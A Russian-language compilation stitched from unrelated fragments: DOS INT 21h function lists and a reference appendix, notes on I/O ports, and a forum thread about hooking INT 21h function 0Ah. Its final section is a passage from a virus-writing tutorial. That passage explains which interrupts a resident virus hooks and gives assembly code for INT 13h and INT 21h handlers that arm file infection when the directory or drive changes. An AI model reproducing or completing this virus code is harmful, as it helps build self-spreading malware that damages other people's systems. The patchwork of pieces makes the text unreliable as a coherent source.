Установка/отмена верификации записи на диск.

Получение адреса DTA в регистровой паре ES:BX.

Получение номера версии DOS в регистре АХ.

Завершение программы, после которого она остается резидентной в памяти.


Получение вектора прерывания (адреса подпрограммы).

Получение размера свободного пространства на диске.

Получение государственно зависимых форматов.

Создание подкаталога (команда MKDIR).

Удаление подкаталога (команда RMDIR).

Установка текущего каталога (команда CHDIR).

Создание файла без использования FCB.

Открытие файла без использования FCB.

Закрытие файла без использования FCB.

Чтение из файла или ввод с устройства.

Запись в файл или вывод на устройство.

Удаление файла из каталога.

Установка позиции для последовательного доступа.

Изменение атрибутов файла.

Управление вводом-выводом для различных устройств.

Дублирование файлового номера.

«Склеивание» дублированных файловых номеров.

Получение текущего каталога.

Выделение памяти из свободного пространства.

Освобождений выделенной памяти.

Изменение длины блока выделенной памяти.

Загрузка/выполнение программы (подпроцесса).

Завершение подпроцесса с возвратом управления.

Получение кода завершения подпроцесса.

Начальный поиск файла по шаблону.

Поиск следующего файла по шаблону.

Получение состояния верификации.

Получение/установка даты и времени изменения файла.

Получение расширенного кода ошибки.

Создание временного файла.

Создание нового файла.

Блокирование/разблокирование доступа к файлу.

Получение адреса префикса программного сегмента (PSP).

Порты

Порт представляет собой устройство, которое соединяет процессор с внешним миром. Через порт процессор получает сигналы с устройств ввода и посылает сигналы на устройство вывода. Теоретически процессор может управлять до 65 536 портами, начиная с нулевого порта. Для управления вводом-выводом непосредственно на уровне порта используются команды IN и OUT:

uКоманда IN передает данные из входного порта в регистр AL (байт) или в регистр АХ (слово). Формат команды:

uКоманда OUT передает данные в порт из регистра AL (байт) или из регистра АХ (слово). Формат команды:

Номер порта можно указывать статически или динамически:

1. Статическое указание порта возможно при непосредственном использовании значения от 0 до 255:

Ввод: IN AL.порт# ;Ввод одного байта

Вывод: OUT порт#,АХ ;Вывод одного слова

2. Динамическое указание порта устанавливается в регистре DX от 0 до 65535. Этот метод удобен для последовательной обработки нескольких портов. Значение в регистре DX в этом случае увеличивается в цикле на 1. Пример ввода байта из порта 60Н:

MOV DX,60H ;Порт 60Н (клавиатура)

IN AL,DX ;Ввод байта

Ниже приведен список некоторых портов (номера в шестнадцатеричном представлении):

Регистры маски прерывании.

Ввод с клавиатуры

Звуковой порт (биты 0 и 1)

Монохромный дисплей и параллельный адаптер печати

В случае, если, например, программа запрашивает ввод с клавиатуры, то она выдает команду прерывания INT 16H. В этом случае система устанавливает связь с BIOS, которая с помощью команды IN вводит байт с порта 60Н.

На практике рекомендуется пользоваться прерываниями DOS и BIOS.

Однако можно также успешно обойтись без BIOS при работе с портами 21, 40. 42, 60 и 201.

Перехват прерывания int 21h ah=10h: во вводимой строке продублировать все гласные буквы

Привет всем, задали тут задачку:
-Переопределить десятую функцию прерывания 21h таким образом, чтобы в вводимой строке
были продублированы все гласные буквы.

Проблема в том, что я не понимаю как перекрывание 10ой функции должно выглядеть, может у кого завалялся хотя бы простенький пример как такое перекрывание выглядит ? Инет и учебники перерыл, ничего годного на эту тему не нашёл.

17.11.2020, 17:40

Перехват прерывания int 21h ah=09h
Задание: перекрыть 9 функцию 21 прерывания в assembler. Помогите, плиз, разобраться как правильно.

Api эквивалент прерывания int 10h?
Кто -нибудь знает название Api функции ,которая реализует тоже самое что и прерывание int 10h(Видео.

перехват int 21h
com 16 bit .286 ASKII_code_key_check equ ‘A’ ASKII_code_key equ ‘B’.

Вывод таблицы векторов прерывания не используя int 21H
Нужно вывести на экран Ms DOs таблицу векторов прерывания НЕ используя int 21H! так что я.

Можно ли поменять цвет символа, не используя прерывания int 10h
Можно ли поменять цвет символа, не используя прерывания int 10h

17.11.2020, 21:55 2

Десятая функция прерывания int 21h это
int 21h fn=0Ah

Добавлено через 2 минуты
Начните с процедуры (именно процедуры), которая в строке по адресу ds:dx дублирует все гласные буквы.
А потом преобразуете её в обработчик прерывания.

18.11.2020, 02:34 3 18.11.2020, 05:48 4
18.11.2020, 05:48
18.11.2020, 19:56 5

А обрезать по 10 символам нельзя?

А вообще, вопрос ещё вот в чём: нужно ли выводить на экран продублированные символы или только в память?
От этого будет зависеть – надо ли писать эту функцию самому или нет.

Добавлено через 7 минут

18.11.2020, 21:47 6
18.11.2020, 22:19 7
18.11.2020, 22:46 [ТС] 8

Да, надо будет еще выводить на экран строку с продублированными символами.
Я делал, так что при нажатии гласных в вводимую строку попадает уже две буквы, но мне сказали, что должна вводиться строка и новый обработчик помимо старого должен её изменять согласно заданию. Поэтому и вопрос возник :/

Добавлено через 16 минут
Еще такой вопрос, можно ли узнать какой код находится в int 21h 10h ? Очень бы пригодилось.

19.11.2020, 01:12 9

Установите собственный обработчик после «родного». И обрабатывайте полученную строку.

http://www.cyberforum.ru/post5664788.html
Резидентная программа: запись всех нажатия клавиш в файл (KeyLog)
Добавлено через 1 минуту
Но начните с того, что реализуйте простую процедуру обработки строки. А уже потом вставите её в обработчик прерывания.

19.11.2020, 05:10 10
19.11.2020, 17:41 11

Решение

Остаётся лишь дописать недостающие процедуры.

Добавлено через 12 минут
Примечание:
если вводимая на последнее место в буфер буква окажется гласной, она дублироваться не будет (ибо места нет);
«биканье» (вывод символа с кодом 7, для полного копирования действий обработчика) не реализовано, я просто забыл про эту особенность.

19.11.2020, 21:53 [ТС] 12
19.11.2020, 22:20 13

byte ptr переставь между mov и [bx+si]. Возможно поможет. Я масмом 6.11 пользуюсь.
Вообще, если ругается, необходимо писать как и именно ругается. Какой версии тасм? Почему это клещами вытаскивать надо?

19.11.2020, 23:32 [ТС] 14
19.11.2020, 23:49 15
20.11.2020, 01:20 [ТС] 16

Вот, что пока получилось, работает так как мне надо, одна проблема осталась, когда пытаюсь запустить еще один комовский файл и поюзать перекрытое прерывание, функция начинает себя вести очень странно (грубо говоря она вообще перестаёт работать, работает только ввод и то он почему-то бесконечный). Не особо понимаю, что я делаю неправильно в инициализации, вроде всё по учебнику.
На всякий случай код 2-го файла


20.11.2020, 06:37 17

Решение

Добавлено через 10 минут
BlackRock, ты строки 44 и 45 зря закоментил: если дубль символа был удачно помещен в буфер, то его надо вывести на STDOUT, если нет — не надо ничего выводить. Такая ситуация возникает только тогда, когда когда на последнее свободное место (в буфере)вводится гласная — дублировать её в этом случае нельзя, т.к. в буфере больше нет места.

Добавлено через 11 минут
Если тасм выругается на строку 115 (mov cx, SIZEOF Vowels), тогда замени её на

Приложение Б Функции DOS (INT 21h)

Приложение Б Функции DOS (INT 21h)

DOS, функция 00h

CS – сегмент PSP завершающегося процесса

Описание. Передает управление на вектор завершения в PSP (выходит в родительский процесс). Идентична функции INT 20h (Terminate). Регистр CS должен указывать на PSP. Восстанавливает векторы прерываний DOS 22h-24h (Завершение, Ctrl-Break и Критическая ошибка), устанавливая значения, сохраненные в родительском PSP. Выполняет сброс файловых буферов. Файлы должны быть предварительно закрыты, если их длина изменилась.

Данная функция не рекомендуется к использованию. Для выхода из программы лучше использовать функцию DOS 4Ch.

DOS, функция 01h Считать со стандартного устройства ввода

Выход: AL – символ, полученный из стандартного ввода

Описание. Считывает (ожидает) символ со стандартного входного устройства. Отображает этот символ на стандартное выходное устройство (эхо). При обнаружении Ctrl-Break выполняется INT 23h.

Ввод расширенных клавиш ASCII (F1-F12, PgUp, курсор и другие) требует двух обращений к этой функции. Первый вызов возвращает AL=0. Второй вызов возвращает в AL расширенный код ASCII.

DOS, функция 02h Записать в стандартное устройство вывода

DL – символ, выводимый в стандартный вывод

Посылает символ из DL в стандартное устройство вывода. Обрабатывает символ Backspace (ASCII 8), перемещая курсор влево на одну позицию и оставляя его в новой позиции. При обнаружении Ctrl-Break выполняется INT 23h.

DOS, функция 03h Считать символа со стандартного вспомогательного устройства

Выход: AL – символ, введенный со стандартного вспомогательного устройства

Описание. Считывает (ожидает) символ со стандартного вспомогательного устройства, COM1 или AUX и возвращает этот символ в AL.

Ввод не буферизуется и должен опрашиваться (не управляется прерываниями). При запуске DOS порт AUX (COM1) инициализируется так: 2400 бод, без проверки на четность, 1 стоп-бит, 8-битные слова. Команда DOS MODE используется для установки иных характеристик.

DOS, функция 04h Записать символ в стандартное вспомогательное устройство

DL – символ, выводимый в стандартное вспомогательное устройство

Посылает символ, находящийся в регистре DL, на стандартное вспомогательное устройство, COM1 или AUX.

DOS, функция 05h Вывести на принтер

DL – символ, записываемый на стандартный принтер

Посылает символ в DL на стандартное устройство печати, обычно LPT1.

DOS, функция 06h Консольный ввод-вывод

DL=00h-FEh – символ, посылаемый на стандартный вывод

DL=FFh – запрос ввода со стандартного ввода

ZF=0, если осуществлялся ввод символа и символ готов при запросе ввода

AL – считанный символ

ZF=1, если осуществлялся ввод символа и символа в консоли нет

При DL=0FFh выполняет ввод с консоли «Без ожидания», возвращая включенный флаг нуля ZF, если на консоли нет готового символа. Если символ готов, сбрасывает флаг ZF и возвращает считанный символ в AL. Если DL не равен 0FFh, то DL направляется на стандартный вывод.

DOS, функция 07h Нефильтрующий консольный ввод без эха

Выход: AL – символ, полученный через стандартный ввод

Описание. Считывает (ожидает) символ со стандартного входного устройства и возвращает этот символ в AL. Не проверяет на Ctrl-Break, BackSpace и другие.

Для ввода расширенного символа ASCII должна быть вызвана дважды. Для проверки статуса используется функция DOS 0Bh (чтобы не ожидать нажатия клавиши).

DOS, функция 08h Консольный ввод без эха

Выход: AL – символ, полученный через стандартный ввод

Описание. Считывает (ожидает) символ со стандартного входного устройства и возвращает этот символ в AL. При обнаружении Ctrl-Break выполняется прерывание INT 23h.

Для ввода расширенного символа ASCII должна быть вызвана дважды.

DOS, функция 09h Запись строки на стандартный вывод

DS:DX – адрес строки, заканчивающейся символом «$» (ASCII 24h)

Строка, исключая завершающий ее символ «$», посылается на стандартный вывод. Символы Backspace обрабатываются как в функции 02h (вывод на дисплей). Чтобы перейти на новую строку, обычно включают в текст пару CR/LF (ASCII 0Dh и ASCII 0Ah). Строки, содержащие «$», можно передать на стандартное устройство вывода с помощью функции 40h (BX=0).

DOS, функция 0Ah Ввод строки в буфер

DS:DX – адрес входного буфера (Таблица Б-1)

Таблица Б-1. Формат входного буфера

Буфер содержит введенные данные, в конце – символ CR (ASCII 0Dh)

DOS, функция 0Bh Проверка статуса ввода

Выход: AL=FFh, если символ доступен со стандартного ввода AL=00h, если нет доступного символа

Описание. Проверяет состояние стандартного ввода. При распознавании Ctrl-Break выполняется INT 23h.

Используется перед функциями 01h, 07h и 08h, чтобы избежать ожидания нажатия клавиши.

Эта функция дает простой неразрушающий способ проверки Ctrl-Break в процессе длинных вычислений или другой обработки, обычно не требующей ввода. Это позволяет снимать счет по нажатию Ctrl-Break.

DOS, функция 0Ch Ввод с очисткой

AL – номер функции ввода DOS:

AL=01h – ввод с клавиатуры

AL=06h – ввод с консоли

AL=07h – нефильтрующий без эха

AL=08h – ввод без эха

AL=0Ah – буферизованный ввод

Очищает буфер опережающего ввода стандартного ввода, а затем вызывает функцию ввода, указанную в AL. Это заставляет систему ожидать ввод очередного символа.

DOS, функция 0Dh Сброс диска

Сбрасывает диск (записывает на диск все файловые буферы). Файл, размер которого изменился, должен быть предварительно закрыт (при помощи функций 10h или 3Eh).

DOS, функция 0Eh Установить текущий диск DOS

DL – номер диска (0 – A, 1 – B и так далее), который становится текущим

Выход: AL – общее число дисководов в системе

Описание. Диск, указанный в DL, становится текущим. Проверка: используется функция 19h (дать текущий диск). В регистре AL возвращается число дисководов всех типов, включая жесткие диски и «логические» диски (как диск B: системе с одним гибким диском).

AL имеет то же значение, что и LASTDRIVE, указанное в файле CONFIG.SYS, и по умолчанию равно 5.

DOS, функция 0Fh Открыть файл через FCB

DS:DX – адрес неоткрытого FCB (Таблица Б-2)

Таблица Б-2. Формат FCB

AL=00h, если функция выполнена успешно (FCB заполнен)

AL=FFh, если файл не найден или доступ к файлу не разрешен

Файл, описываемый неоткрытым FCB, должен существовать в текущем оглавлении на диске, специфицированном в FCB (0 – текущий, 1 – A, 2 – B и так далее). Если файл не существует, возвращается AL=0FFh. Файл открывается в режиме совместимости. Если поле «Номер диска» в FCB равно нулю в момент вызова, то оно заполняется номером текущего дисковода (1 – A, 2 – B и так далее). Поле FCB «Номер текущего блока» устанавливается в ноль. Поле FCB «Размер логической записи» устанавливается в 80h. Поля даты и размера файла в FCB устанавливаются из оглавления.

DOS, функция 10h Закрыть файл через FCB

DS:DX – адрес открытого FCB (Таблица Б-2)

AL=00h, если функция выполнена успешно

AL=FFh, если файл не найден там, где он находился при открытии с помощью функции 0Fh

Закрывает файл, открытый функцией 0Fh. Файл должен находиться на своем первоначальном месте в текущем оглавлении диска, на котором он был открыт. Если файл найден, оглавление обновляется, файловые буфера сбрасываются и возвращается AL=00h. Если файл не найден, оглавление не обновляется и возвращается AL=FFh.

DOS, функция 11h Найти первый совпадающий файл через FCB

DS:DX – адрес неоткрытого FCB (Таблица Б-2)

AL=00h, если подходящее имя найдено

AL=FFh, если подходящего имени нет

В текущем оглавлении DOS происходит поиск файлов с именем, соответствующим заданному шаблону. При неудаче возвращается AL=0FFh. Если имя найдено, AL очищается, в первый байт DTA помещается номер дисковода (A – 1, B – 2 и так далее), а в следующие 32 байта помещается элемент оглавления для найденного файла.

Можно использовать при вызове расширенный FCB, чтобы выбирать файлы с указанными атрибутами. В этом случае в DTA помещаются: байт FFh, 7 байт нулей, номер диска и элемент оглавления.

DOS, функция 12h Найти следующий совпадающий файл через FCB

DS:DX – адрес неоткрытого FCB (Таблица Б-2)

AL=00h, если подходящее имя найдено

DTA заполнен AL=FFh, если подходящего имени нет

Используется после вызова функции 11h (Найти первый совпадающий файл через FCB) с обобщенным именем файла. Каждый последующий вызов заполняет DTA очередным подходящим элементом оглавления и возвращает AL=00h. Если подходящих имен больше нет, возвращается AL=FFh.


Резервируемая область в FCB сохраняет информацию, необходимую для продолжения поиска. Поэтому не стоит открывать и изменять FCB между вызовами.

DOS, функция 13h Удалить файл через FCB

DS:DX – адрес неоткрытого FCB (Таблица Б-2)

AL=00h, если функция выполнена успешно

AL=FFh, если файл не найден или доступ к файлу не разрешен

Эта функция удаляет все подходящие файлы в текущем оглавлении указанного диска согласно спецификации в FCB. Если подходящие файлы не найдены или если доступ отвергнут (как при попытке удалить файл с атрибутом Read-Only), функция возвращает в регистре AL значение FFh.

DOS, функция 14h Последовательное чтение из файла через FCB

DS:DX – адрес открытого FCB (Таблица Б-2)

AL=00h, если чтение было успешным и DTA содержит данные

AL=01h, если достигнут конец файла (EOF) и данные не считаны

AL=02h, если произошел выход за сегмент (чтения не было)

AL=03h, если EOF и считана усеченная запись (дополнена нулями)

Функция читает файл, специфицированный в FCB. Затем соответственно увеличивает значения полей в FCB.

Перед началом последовательной обработки файла нужно сбрасывать CurRec в ноль, так как функция 0Fh не инициализирует это поле.

DOS, функция 15h Последовательная запись в файл через FCB

DS:DX – адрес открытого FCB (Таблица Б-2)

AL=00h, если запись была успешной

AL=01h, если ошибка переполнения диска (данные не записаны)

AL=02h, если произошел выход за сегмент (записи не было)

Функция записывает файл, специфицированный в FCB. Затем соответственно увеличивает значения полей в FCB.

Перед началом последовательной обработки файла нужно сбрасывать «Номер текщей записи» в ноль, так как функция 0Fh не инициализирует это поле.

DOS буферизует данные, записывая полный сектор за один раз.

DOS, функция 16h Создание файла через FCB

DS:DX – адрес неоткрытого FCB (Таблица Б-2)

AL=00h, если функция выполнена успешно FCB заполнен

AL=FFh, если при выполнении функции возникли ошибки

Описание. Файл, специфицированный неоткрытым FCB, создается на диске, указанном в FCB (0 – текущий, 1 – A и так далее). Он открывается в текущем оглавлении этого диска. FCB заполняется аналогично функции 0Fh. Если файл существует в момент вызова, его элемент оглавления перекрывается новым файлом, а длина файла сбрасывается в ноль.

Handle-ориентированные функции DOS 2.0+ гораздо удобнее в работе.

DOS, функция 17h Переименовать файл через FCB

DS:DX – адрес измененного FCB (Таблица Б-2)

AL=00h, если функция выполнена успешно

AL=FFh, если при выполнении функции возникли ошибки

Переименовывает файл в текущем оглавлении.

DOS, функция 19h Получить текущий диск DOS

Выход: AL – номер текущего диска (0 – A, 1 – B, и так далее)

Возвращает номер дисковода текущего диска DOS.

DOS, функция 1Ah Установить адрес DTA

DS:DX – адрес DTA

Устанавливает адрес DTA. Все FCB-ориентированные операции работают с DTA. DOS не позволяет операциям ввода/вывода пересекать границу сегмента. Функции поиска 11h, 12h, 4Eh и 4Fh помещают данные в DTA. DTA глобальна, поэтому надо проявлять осторожность при назначении ее в рекурсивной процедуре. При запуске программы ее DTA устанавливается по смещению 80h относительно PSP.

DOS, функция 1Bh Получить информацию FAT для текущего диска

DS:BX – адрес байта FAT ID, отражающего тип диска (Таблица Б-3)

DX – всего кластеров (единиц распределения) на диске

AL – секторов на кластер

CX – байт на сектор

Таблица Б-3. Значения >

Возвращает информацию о размере и типе текущего диска. Размер диска (в байтах) равен DX*AL*CX. Свободную память можно найти функциями 36h или 32h.

Версии: DOS 1.x держит FAT в памяти и возвращает DS:BX => FAT. DOS 2.0+ может держать в памяти лишь часть всей FAT.

Эта функция изменяет содержимое регистра DS.

DOS, функция 1Ch Получить информацию FAT для указанного диска

DL – номер диска (0 – текущий, 1 – A и так далее)

DS:BX – адрес байта FAT ID, отражающего тип диска (приведен в описании функции 1Bh)

DX – всего кластеров (единиц распределения)

AL – секторов на кластер

CX – байт на сектор

Аналогична функции 1Bh с той разницей, что регистр DL указывает диск, для которого нужно получить информацию.

DOS, функция 21h Считать произвольную запись файла

DS:DX – адрес открытого FCB (Таблица Б-2)

AL=00h, если чтение было успешным и DTA заполнена данными

AL=01h, если достигнут конец файла (EOF) и чтения не было

AL=02h, если произошел выход за сегмент (чтения нет)

AL=03h, если встречен EOF и усеченная запись дополнена нулями

Данная функция читает из файла с текущей позиции как с указанной в полях FCB «Запись с текущей позиции» и «Номер записи при непосредственном доступе к файлу».

DOS, функция 22h Писать произвольную запись файла

DS:DX – адрес открытого FCB (Таблица Б-2)

AL=00h, если запись была успешной

AL=01h, при переполнении диска

AL=02h, если DTA+FCB выходит за сегмент (нет записи)

Данная функция записывает в файл с текущей позиции как с указанной в полях FCB «Запись с текущей позиции» и «Номер записи при непосредственном доступе к файлу».

DOS, функция 23h Получить размер файла через FCB

DS:DX – адрес неоткрытого FCB (Таблица Б-2)

AL=00h, если функция выполнена успешно

AL=FFh, если при выполнении функции возникли ошибки

Проще определить размер файла при помощи функции 3Dh с последующим выполнением 42h (при AL=2).

DOS, функция 24h Установить адрес произвольной записи в файле

DS:DX – адрес открытого FCB (Таблица Б-2)

Устанавливает поле «Номер записи при непосредственном доступе к файлу» в FCB на файловый адрес, соответствующий значениям полей «Текущий блок» и «Запись с текущей позиции».

DOS, функция 25h Установить вектор прерывания

AL – номер прерывания

DS:DX – вектор прерывания – адрес программы обработки прерывания

Описание. Устанавливает значение элемента таблицы векторов прерываний для прерывания с номером AL, равным DS:DX. Это равносильно записи 4-байтового адреса в 0000:(AL*4), но, в отличие от прямой записи, DOS знает, что происходит, и гарантирует, что в момент записи прерывания будут заблокированы.

Восстановить DS (если необходимо) после этого вызова.

DOS, функция 26h Создать новый PSP

DX – адрес сегмента (параграфа) для нового PSP

CS – сегмент PSP, используемый как шаблон для нового PSP (Таблица Б-4)

Описание. Устанавливает PSP для порождаемого процесса по адресу DX:0000. Текущий PSP (100h байт, начиная с CS:0) копируется в DX:0000h, поле MemTop соответственно корректируется, векторы Terminate, Ctrl-Break и Critical Error копируются в PSP из векторов прерываний INT 22h, INT 23h и INT 24h. После этого можно загрузить программу с диска и передать ей управление посредством FAR JMP.

Если перехватывается INT 21h, нужно позаботиться о помещении в стек корректного CS: IP. Еще лучше использовать функцию 4Ch.

Таблица Б-4. Формат PSP

DOS, функция 27h Читать произвольный блок файла

DS:DX – адрес открытого FCB (Таблица Б-2)

CX – число считываемых записей

Выход: AL=00h, если чтение успешно и DTA заполнена данными AL=01h если достигнут конец файла (EOF) и данные не считаны AL=02h, если при чтении произошел выход за границу сегмента AL=03h, если EOF и считана усеченная порция (дополнена нулями) CX – действительное число считанных записей


Читает несколько записей из файла, начиная с файлового адреса, указанного полем «Номер записи при непосредственном доступе к файлу» в FCB. Помещает данные в память, начиная с адреса DTA. Соответствующие поля FCB корректируются, чтобы указывать на следующую запись (первую за прочитанными).

DOS, функция 28h Писать произвольный блок файла

DS:DX – адрес открытого FCB (Таблица Б-2)

CX – число записываемых блоков (если CX равен нулю, то размер файла усекается до указанного в поле FCB «Номер записи при непосредственном доступе к файлу»)

AL=00h, если запись успешна

AL=01h, при переполнении диска

AL=02h, если при записи произошел выход за границу сегмента

CX – действительное число сделанных записей

Описание. Записывает несколько блоков в файл, начиная с файлового адреса, указанного полем «Номер записи при непосредственном доступе к файлу» в FCB. Читает данные из памяти, начиная с адреса DTA. Соответствующие поля FCB корректируются, чтобы указывать на следующую запись (первую за прочитанными).

DOS, функция 29h Разобрать имя файла

DS:SI – адрес исходной текстовой строки для разбора

ES:DI – адрес буфера для результирующего неоткрытого FCB (Таблица Б-2)

AL – битовые флаги, указывающие опции разбора (Таблица Б-5).

AL=00h, если результирующий FCB не содержит обобщенных символов

AL=01h, если результирующий FCB содержит обобщенные символы

AL=FFh, если неверно обозначение диска в имени файла

DS:SI – изменен – указывает на символ сразу вслед за именем файла

ES:DI – не изменен – указывает на неоткрытый FCB

Создает неоткрытый FCB из строки текста или параметра команды. Текст, начиная с DS:SI, анализируется как имя файла в формате D: FILENAME.EXT, и буфер по адресу ES:DI заполняется как соответственно форматированный FCB.

Таблица Б-5. Битовые флаги

DOS, функция 2Ah Получить системную дату

AL – день недели (0 – воскресенье, 1 – понедельник, … 6 – суббота), DOS 3.0+

CX – год (от 1980 до 2099)

DH – месяц (1 до 12)

DL – день (1 до 31)

Описание. Возвращает текущую дату, которая известна системе.

DOS 2.x не гарантирует возврата в AL значения дня.

DOS 1.0+ возвращает правильный день недели.

Версии до 2.1 имеют проблемы с переходом через дату.

DOS, функция 2Bh Установить системную дату

CX – год (от 1980 до 2099)

DH – месяц (от 1 до 12)

DL – день (от 1 до 31)

AL=00h, если дата корректна

AL=FFh, если дата некорректна и не изменена

Устанавливает системную дату DOS.

DOS, функция 2Ch Получить время DOS

CH – часы (от 0 до 23)

CL – минуты (от 0 до 59)

DH – секунды (от 0 до 59)

DL – сотые доли секунды (от 0 до 99)

Описание. Возвращает текущее время, которое известно системе.

Поскольку системные часы имеют частоту 18.2 Гц (интервал 55мс), DL имеет точность примерно 0.04 сек.

DOS, функция 2Dh Установить время DOS

CH – часы (от 0 до 23)

CL – минуты (от 0 до 59)

DH – секунды (от 0 до 59)

DL – сотые доли секунды (от 0 до 99)

AL=00h, если время корректно

AL=FFh, если время некорректно и не изменено

Устанавливает системное время DOS.

DOS, функция 2Eh Установить/сбросить переключатель верификации

AL=00h – отключить верификацию

AL=01h – включить верификацию

Описание. Задает, должна ли DOS верифицировать (считывать обратно) каждый сектор, записываемый на диск. Это замедляет операции записи на диск, но гарантирует максимальную надежность записи.

DOS, функция 2Fh Получить адрес текущей DTA

Выход: ES:BX – адрес начала текущей DTA

Описание. Возвращает адрес начала области ввода-вывода (DTA). Поскольку DTA глобальна для всех процессов, в рекурсивной процедуре (например, при проходе по дереву оглавления) может потребоваться сохранить адрес DTA, а впоследствии восстановить его посредством функции 1Ah.

Примечание. Эта функция изменяет сегментный регистр ES.

Версии: DOS 2.00 и выше DOS, функция 30h Получить номер версии DOS

AL – старший номер версии

AH – младший номер версии

BL:CX – 24-битный серийный номер (большинство версий не поддерживают этот параметр)

Описание. Возвращает в AX значение текущего номера версии DOS. Например, для DOS 3.20 в AL возвращается 03h, в AH – 14h.

Примечание. Если в AL возвращается 00h, можно предполагать, что работает DOS более ранней версии, чем DOS 2.0.

Версии: DOS 2.00 и выше. DOS, функция 31h Завершиться и остаться резидентным

DX – объем памяти, оставляемой резидентной (в параграфах)

Описание. Выходит в родительский процесс, сохраняя код выхода в AL. Код выхода можно получить через функцию 4Dh. DOS устанавливает начальное распределение памяти, как специфицировано в DX, и возвращает управление родительскому процессу, оставляя указанную память резидентной (число байт равно DX*16). Эта функция перекрывает функцию INT 27h, которая не возвращает код выхода и не способна установить резидентную программу, размер которой превышает 64 Кбайт.

Пишем обработчики прерываний

Для начала выясним, какие прерывания и с какой целью наш вирус будет перехватывать.

Во-первых, необходимо перехватить прерывание Int 21h. Дело в том, что наш вирус является резидентным, и должен заражать файлы при тех или иных событиях в вычислительной системе. Очень многие вирусы активизируются, например, при смене текущего диска или каталога. Этот метод является весьма удачным, и мы реализуем именно его. Но для этого нужно знать, когда именно выполняются смена каталога или диска. Единственный способ узнать о таком событии — это перехватить прерывание Int 21h на себя, и при каждом его вызове проверять, какая именно функция вызывается. Так мы и сделаем.

Во-вторых, нам не обойтись без перехвата Int 13h (см п. 2.13).

В-третьих, поскольку наш вирус будет пользоваться функциями DOS, которые работают с диском в резидентном режиме, необходимо знать, когда можно безопасно обращаться к этим функциям. Для этого следует перехватить прерывание Int 28h, которое всегда вызывается только при выполнении DOS реентерабельной секции своего кода. Иными словами, при возникновении прерывания Int 28h можно смело пользоваться любыми функциями DOS.

Далее, для проверки наличия вирусного кода в памяти наш вирус будет использовать так называемое мультиплексное прерывание — Int 2fh, и поэтому мы должны перехватить и его (см п. 2.7).

И, наконец, мы должны написать обработчик критической ошибки. Она возникает,например, если мы попытаемся записать информацию на вынутую из дисковода дискету. Наш вирус должен перехватить прерывание по критической ошибке (Int 24h) и выполнить его обработку.

Обработчик Int 13h

Как мы уже выяснили, этот обработчик должен записывать в ячейку » tg_13h » значение » 1 «, если в данный момент выполняется прерывание Int 13h, или значение » 0 » — в противном случае.

К сожалению, в MS DOS отсутствует какое — либо средство, позволяющее узнать, когда именно активно прерывание Int 13h. И поэтому единственный способ решения этой задачи — установка на Int 13h так называемого » фильтра «, который отслеживал бы все вызовы вышеуказанного прерывания.

Самое простое решение — это перехватить Int 13h на себя, а в самом обработчике вызвать системный обработчик как дальнюю процедуру. Конечно, перед этим нужно зап??сат?? в » tg_13h» единицу — это будет индикатором выполнения Int 13h в данный момент. Когда системный обработчик выполнится, управление вновь получит » фильтр «. Поскольку Int 13h уже выполнилось, можно сбросить в «0» переменную tg_13h.

; _______________________________________________ ;| | ;| Напишем новые обработчики INT 13h, INT 21h, | ;| INT 24h и INT 2fh. .. | ;|_______________________________________________| to_new_13h equ $-vir new_13h: jmp cs:start_13h tg_13h db 0 ax_13h dw 0 cs_13h dw 0 ip_13h dw 0 start_13h: mov cs:tg_13h — 110h,1 pushf db 9ah ;Код команды old_13h dw 0 ; » CALL «. .. old_13h_2 dw 0 mov cs:ax_13h — 110h,ax;Поместим новый pop ax ;флаг на место mov cs:ip_13h — 110h,ax;старого ( CF ) pop ax mov cs:cs_13h — 110h,ax pop ax pushf mov ax,cs:cs_13h — 110h push ax mov ax,cs:ip_13h — 110h push ax mov ax,cs:ax_13h — 110h mov cs:tg_13h — 110h,0 iret

Здесь константа » to_new_13h » показывает смещение от начала вирусного кода до начала обработчика.

Хотелось бы обратить ваше внимание на одну особенность. Она состоит в том, что прерывания Int 21h и Int 13h возвращают в регистре AX код ошибки, а бит CF регистра флагов используется как индикатор этой ошибки.

Пусть, например, при получении фильтром управления бит CF имел значение FLAG 1, а регистры CS и IP имели значения CS 1 и IP 1.Тогда команда «pushf» занесет значение FLAG 1 в стек. Команда «call» поместит в стек значения CS 1 и IP 1,после чего управление получит системный обработчик. Этот обработчик занесет в стек значение FLAG 2, и при своем завершении выполнит команду «iret». Команда «iret» снимет с вершины стека значения IP 1,CS 1 и FLAG2. Теперь уже наш фильтр сбросит в » 0 » переменную «tg_13h»,и командой » iret » передаст управление прерванной программе. Но дело в том, что эта команда извлечет из стека значения IP и CS, которые имели место в момент вызова прерывания Int 13h, а также регистр флагов FLAG 1. Таким образом, из стека будет извлечен FLAG 1 вместо FLAG 2! Чтобы этого не произошло, мы должны поместить в стек FLAG 2 вместо FLAG 1. Именно для этого предназначены команды, записанные после ячейки » old_13h_2 «. Работа этих команд особых пояснений не требует. Мы просто «добираемся» до нужной ячейки в стеке, последовательно считывая предшествующие. Можно, конечно, написать более эффективный фрагмент,зато выбранный нами метод достаточно прост.

Обработчик Int 21h

Рассмотрим теперь создание обработчика прерывания Int 21h. Как мы договорились, он должен помещать «единицу» в ячейку » tg_infect «, если DOS выполняет смену текущего каталога или диска (см п. 2.5). Поэтому напишем » фильтр «, который будет проверять, какая именно функция DOS вызвана в тот или иной момент:

;————————————————- to_new_21h equ $-vir new_21h: jmp cs:start_21h tg_infect db 0 start_21h: pushf push di push es xor di,di ;Перехват mov es,di ;INT 24h в рези- mov di,90h ;дентном режиме mov word ptr es:[di],to_new_24h mov es:[di+2],cs cmp ah,03bh ;Активизировать ;вирус ? jne cs:new_cmp_1 mov cs:tg_infect-110h,1;Да — взводим ;триггер. .. new_cmp_1: cmp ah,00eh jne cs:to_jump mov cs:tg_infect — 110h,1 to_jump: pop es pop di popf db 0eah ;Переход на ста- old_21h dw 0 ;рый обработчик old_21h_2 dw 0 ;INT 21h. ..

Поскольку при вызове функции DOS в регистре AH задается ее номер, достаточно просто проанализировать его и » выловить » нужные значения.Наш вирус будет реагировать на смену текущего каталога (AH=03Bh), и смену текущего диска (AH=0Eh). Эти числа и пытается обнаружить » фильтр «.

Далее — так как нам нужно всего лишь определить, какая функция DOS вызвана, нет смысла после завершения системного обработчика передавать управление обратно в » фильтр «. По этой причине отпадает необходимость сложных » манипуляций » со стеком, которые мы проделывали в предыдущем пункте.

